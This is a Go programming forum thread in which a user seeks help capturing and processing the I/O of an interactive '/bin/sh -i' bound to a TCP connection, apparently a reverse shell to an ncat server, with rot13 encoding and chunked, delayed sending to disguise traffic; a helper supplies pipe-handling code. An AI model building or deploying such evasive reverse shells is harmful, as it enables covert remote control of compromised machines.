Socket issue - what should I do?

GoNE · July 12, 2021, 5:37pm

The problem: I can’t manage to get the bytes from an interactive session ( interactive shell ), capture them, work with them, and send them to the server.

The goal: capture all the bytes of cmd.Stdout, split them with this function https://gist.github.com/xlab/6e204ef96b4433a697b3#file-bytes_split-go ( the first one ), and just then send the chunks to the server.

Original lines:

	cmd := exec.Command(binPath, "-i") // /bin/sh -i    
	cmd.Stdin = conn
	cmd.Stdout = conn
	cmd.Stderr = conn
	cmd.Run()

Once the client connects to the server, if I run any command I get the output. If I run any non-existing commands, I get the stderr. So, everything works fine.

To achieve the goal I want, I tried different things, but after some tests and debugging I think I finally understood why everything I tried did not work: because its an interactive shell rathen than a simple command… but I don’t know how to do the same thing in my case. In practice:

	cmd := exec.Command(binPath, "-i") // /bin/sh -i    
	cmd.Stdin = conn
	//cmd.Stdout = conn
            *****
	stdout := new(bytes.Buffer)
	cmd.Stdout = stdout
	gotthem := stdout.Bytes()
    conn.Write(gotthem)
            *****
	cmd.Stderr = conn
	cmd.Run()

I get the shell on the server, I can type any non-existing stuff to see if Stderr works fine ( which does), but I don’t get any output of the existing commands.
This code should in theory work, but it does not because gotthem its always empty. So I won’t get any output on the server.
I tried also to move cmd.Run() before cmd.Stdout, load the buffer, and so on, but it breaks everything.
Just to make a better idea of what my goal is, I paste a non-working sample code:

	cmd := exec.Command(binPath, "-i") // /bin/sh -i    
	cmd.Stdin = conn
	//cmd.Stdout = conn
            *****
	stdout := new(bytes.Buffer)
	cmd.Stdout = stdout

	gotthem := stdout.Bytes()
	trans := split(gotthem, 100)

	for _, s := range trans {
		    conn.Write(s)
	}
            ********
	cmd.Stderr = conn
	cmd.Run()

christophberger · July 19, 2021, 2:44pm

Hi @GoNE, just a quick guess after skimming over the code (I might be wrong):

The code calls stdout.Bytes() before calling cmd.Run(). The buffer certainly is still empty at that point.

What type is conn by the way? What is the goal behind connecting all of cmd.Stdin, cmd.Stdout, and cmd.Stderr to conn?

GoNE · July 20, 2021, 7:59am

Hi! Thanks for your answer!(:

" The code calls stdout.Bytes() before calling cmd.Run() . The buffer certainly is still empty at that point"

This is correct, but in my case it does not work because it is an interactive shell! And this is why it makes me crazy! ahah
I will explain as better as I can, what I tried and what I understood.
This code https://play.golang.org/p/yfEcqzrNNP5 is a backup code of some versions ago of my actual tool, but trust me, its really really similar to the one I have ( the function handleConn is the same for example; the one that connects the client to the server is almost the same ). This will explain in general everything you asked(:

In my first try, I do get the output, but just of the interactive shell itself. I mean, on the server I get the shell because I get the $ prompted, and I get the errors if a command does not exist. The fact is that I don’t get the output of the commands ran INSIDE the interactive shell. So I get just a part of it. Its like if stdout.Bytes() has just the bytes if /bin/sh -i rather than everything also launched inside /bin/sh -i ( for example: ls, whoami, cat /etc/passwd, etc etc… )

Of course I tried also what you said, but it did not work. It did not even spawn a shell on the server.

cmd := exec.Command(binPath, "-i") // /bin/sh -i    
cmd.Stdin = conn
//cmd.Stdout = conn
        *****
cmd.Run()
stdout := new(bytes.Buffer)
cmd.Stdout = stdout
gotthem := stdout.Bytes()
conn.Write(gotthem)
        *****
......

If I move cmd.Run() from its actual position, it just breaks everything because of the interactivity ahah aegbjkagbkeagavbhegh

This is not so easy as it seems. I guess that buffering the data is in conflict with that.
I hope I explained it well. If not, tell me, I will try again(:

christophberger · July 20, 2021, 2:45pm

Thanks for explaining and for the playground code.

Based on the playground code, I see that

The code opens a TCP connection to a server.
The code creates a local command running a shell.
The shell’s stdin gets connected to the TCP connection.

Below the point where stdin is set to the TCP connection, there is code that I don’t understand - see the inline comments:

		var stdout bytes.Buffer // an empty buffer
		cmd.Stdout = &stdout // cmd.Stdout is now a pointer to an empty buffer with type io.Writer
		outStr := stdout.Bytes() // outStr is now an empty byte slice
		z := bytes.NewBuffer(outStr) // z is now a new empty buffer
		kk := io.Writer(z) // kk is now z with type io.Writer but gets overwritten in the next line
		kk = conn // kk is now conn with type io.Writer. kk.Write(...) will write to conn
		if kk != nil {
			fmt.Println(kk) // print an io.Writer
		}

The initial description of your goal indicates that you want to achieve the following:

Spawn an interactive shell
Execute commands via that shell
Read the shell’s stdout stream
Process that stream
Send the results to a server

I took my own try on this (out of curiosity), and I found that using Cmd.StdinPipe() and CmdStdoutPipe() are convenient for connecting the shell’s input and output to my own code.

package main

import (
	"errors"
	"fmt"
	"io"
	"os"
	"os/exec"
)

func processStream(in io.Reader, out io.Writer) error {
	if in == nil {
		return errors.New("in is nil")
	}
	if out == nil {
		return errors.New("out is nil")
	}

	buf := make([]byte, 1024)
	for {

		n, err := in.Read(buf)
		if err != nil {
			if errors.Is(err, io.EOF) {
				break
			}
			return fmt.Errorf("error reading shell output (%d bytes read): %w", n, err)
		}

		n, err = out.Write(buf[:n])
		if err != nil {
			return fmt.Errorf("error writing shell output (%d bytes written): %w", n, err)
		}
	}
	return nil
}

func main() {
	shell := exec.Command("/bin/sh", "-i")

	shellStdin, err := shell.StdinPipe()
	if err != nil {
		fmt.Fprintf(os.Stderr, "error creating shell stdin pipe: %s\n", err)
		os.Exit(1)
	}
	defer shellStdin.Close()

	shellStdout, err := shell.StdoutPipe()
	if err != nil {
		fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)
		os.Exit(1)
	}

	err = shell.Start() // does not block
	if err != nil {
		fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)
		os.Exit(1)
	}

	serverConnection := os.Stdout // fake server connection

	// Send commands to the shell
	go func(pipe io.WriteCloser) {
		cmds := []string{
			"echo hello",
			"ls -l",
		}

		for _, cmd := range cmds {
			fmt.Fprintln(pipe, cmd)
		}
		pipe.Close()
	}(shellStdin)

	// Read the shell output, process it, and send it to the server
	err = processStream(shellStdout, serverConnection)
	if err != nil {
		fmt.Fprintf(os.Stderr, "error processing stream: %s\n", err)
		os.Exit(1)
	}
}

GoNE · July 20, 2021, 6:13pm

AHHHHH I’m so so SO sorry! ahah I pasted a kind of imaginary example to keep in my mind some stuff. Please just ignore the previous link, this is the ( rude ) example code: https://play.golang.org/p/079lwPe63k4

By the way you got the goals! I will add just some more info:

Spawn an interactive shell
Execute commands via that shell
Read the shell’s stdout stream
Process that stream, splitting the bytes of stdout in small chunks using that function: https://gist.github.com/xlab/6e204ef96b4433a697b3#file-bytes_split-go ( the first one )
Send the chunks to the server with some delay between each other

I could not implement everything because I got stuck at the first part: get the bytes of the commands ran inside of the interactive shell.
Thanks for you kind help!(: This is harder than I could even imagine! ahah

christophberger · July 21, 2021, 11:52am

No problem, and thanks for posting the intended sample code.

I guess that if you use the StdinPipe() and StdoutPipe() functions as seen in my code, you can work quite comfortably with the data streams going to and coming from the shell.

And when all works fine locally, you can add the server communication part and you should be ready to go. Good luck!

GoNE · August 1, 2021, 6:21pm

Sorry if I write to you again, I would like to ask one more tip/ example(:
How would you do the same thing you did with cmd.Stdout, but this time with cmd.Stdin and cmd.Stderr?
How would you capture all the bytes of cmd.Stdin and cmd.Stderr?
I tried to use your example ( which works like a charm for cmd.Stdout ) also for cmd.Stderr, but it does not work fine: I don’t get the stderr and also the interactive shell does not work fine. This is like if cmd.Stdin gets bugged

christophberger · August 3, 2021, 8:01am

I am afraid I don’t fully understand your question. A command’s “Stdin” is where you write into, in order to send data to that command. You thus would not need to capture cmd.Stdin because you have that data already - that’s what your code sends to the command.

Can you provide sample code that shows what you try to achieve and where it fails?

GoNE · August 3, 2021, 12:16pm

Thanks for your reply!
I’m sorry! I will try to explain as best as I can.

This is a diagram based on my idea:
|----------------------------------------------------------------------------------|

golang tool <—> socat rot13 encode/decode <—> ncat server

The tool runs a shell which arrives on the server, so I must take care of both stdout/in/err.
So, briefly:

cmd.stdin: should decode incoming rot13 bytes
cmd.stdout: should encode the output bytes using rot13 ( already implemented and fully working )
cmd.stderr: should encode the errors bytes using rot13

The rot13 function is this: https://play.golang.org/p/XPoR1k5-fDL

Speaking of the cmd.stderr, this is what I tried:

func ERROBFprocessStream(aoi io.Reader, iao io.Writer) error {
	if aoi == nil {
		return errors.New("aoi is nil")
	}
	if iao == nil {
		return errors.New("iao is nil")
	}
	duf := make([]byte, 1024)
	for {
		n, err := aoi.Read(duf)
		if err != nil {
			if errors.Is(err, io.EOF) {
				break
			}
			return fmt.Errorf("error reading err output (%d bytes read): %w", n, err)
		}

		n, err = iao.Write(duf[:n])
		if err != nil {
			return fmt.Errorf("error writing err output (%d bytes written): %w", n, err)
		}

	}
	return nil
}

                .........

	        cmdStdout, err := cmd.StdoutPipe()
	        if err != nil {
		    fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)

	        }

	        cmdStderr, err := cmd.StderrPipe()
	        if err2 != nil {
		    fmt.Fprintf(os.Stderr, "error creating shell err pipe: %s\n", err)

	        }
                   
	        err = OBFprocessStream(cmdStdout, conn)
	        if err != nil {
		    fmt.Fprintf(os.Stderr, "error processing stream: %s\n", err)

	        }
	        err = ERROBFprocessStream(cmdStderr, conn)
	        if err != nil {
		    fmt.Fprintf(os.Stderr, "error processing stream: %s\n", err)

	        }
                .......

And this is the result: ( I have to post a screenshot rather than text because it would not make it enough clear )

In the example I did not implement socat.
The solution I found is:

cmd.Stderr = cmd.Stdout

I get correctly encoded cmd.Stderr, also if the interactive shell is a little bit slower than before. Just for curiosity, what would be a nice solution in your opinion?(:
About cmd.stdin, I have no idea how to capture and decode the incoming rot13 encoded bytes.

christophberger · August 13, 2021, 3:42pm

Oh wow, sorry, I failed to pick up this thread on time. Did you make any progress with this?

GoNE · August 13, 2021, 3:50pm

Don’t worry!(:
Sadly I did not solve it…

christophberger · August 13, 2021, 4:25pm

Ok, let me have a closer look but I must admit that I still do not quite get the scenario.

I understand that your Go code starts an external command and connects to that command’s stdin, stdout and stderr streams.

The command is a shell like /bin/sh. I think this command is not included in the diagram you posted. Would this show the place of the shell accurately?

shell <—> golang tool <—> socat <—> ncat server

And since socat is just some sort of byte stream relay, we can remove it from the diagram for brevity.

shell <—> golang tool <—> ncat server

From what I understand, the data flow is as follows:

shell sends bytes on stdout, stderr —> Go tool does rot13 —> ncat server

and

ncat server —> Go tool does rot13 —> Go tool sends data to shell via stdin

Is this still correct?

Can you share the code that does the stdin part, and explain where it fails?

GoNE · August 15, 2021, 9:35am

Thanks for your kind help!(:

This is correct! I included also socat just to make the big picture more clear.
The code that used to fail was the cmd.Stderr part, but I solved it

About the stdin part, I tried something related to your first example but I had to revert to its basic version: cmd.Stdin = conn because nothing worked ahah

system · November 13, 2021, 9:35am

This topic was automatically closed 90 days after the last reply. New replies are no longer allowed.